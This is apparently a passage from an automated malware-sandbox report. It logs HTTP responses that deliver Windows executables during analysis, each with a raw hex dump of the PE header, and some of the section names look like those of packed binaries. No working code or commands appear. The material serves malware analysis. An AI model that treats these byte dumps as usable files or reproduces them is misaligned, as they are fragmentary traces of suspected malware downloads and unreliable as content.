00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 14:22:46 GMTContent-Type: application/octet-streamContent-Length: 2805248Last-Modified: Sat, 23 Nov 2024 13:20:19 GMTConnection: keep-aliveETag: "6741d693-2ace00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 56 38 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 64 77 69 74 69 6e 76 00 80 2a 00 00 a0 00 00 00 6c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 6a 66 62 7a 75 6a 67 00 20 00 00 00 20 2b 00 00 06 00 00 00 a6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 ac 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 14:22:56 GMTContent-Type: application/octet-streamContent-Length: 2805248Last-Modified: Sat, 23 Nov 2024 13:20:21 GMTConnection: keep-aliveETag: "6741d695-2ace00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 56 38 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 64 77 69 74 69 6e 76 00 80 2a 00 00 a0 00 00 00 6c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 6a 66 62 7a 75 6a 67 00 20 00 00 00 20 2b 00 00 06 00 00 00 a6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 ac 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 14:23:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 14:23:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 14:23:03 GMTContent-Type: application/octet-streamContent-Length: 4373504Last-Modified: Sat, 23 Nov 2024 12:37:39 GMTConnection: keep-aliveETag: "6741cc93-42bc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 f0 c3 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 c4 00 00 04 00 00 64 c6 42 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 d9 c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 d9 c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 37 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 76 64 6f 74 73 72 69 00 10 1b 00 00 d0 a8 00 00 0a 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 78 62 78 61 65 76 65 00 10 00 00 00 e0 c3 00 00 04 00 00 00 96 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 c3 00 00 22 00 00 00 9a 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 14:23:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 14:23:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 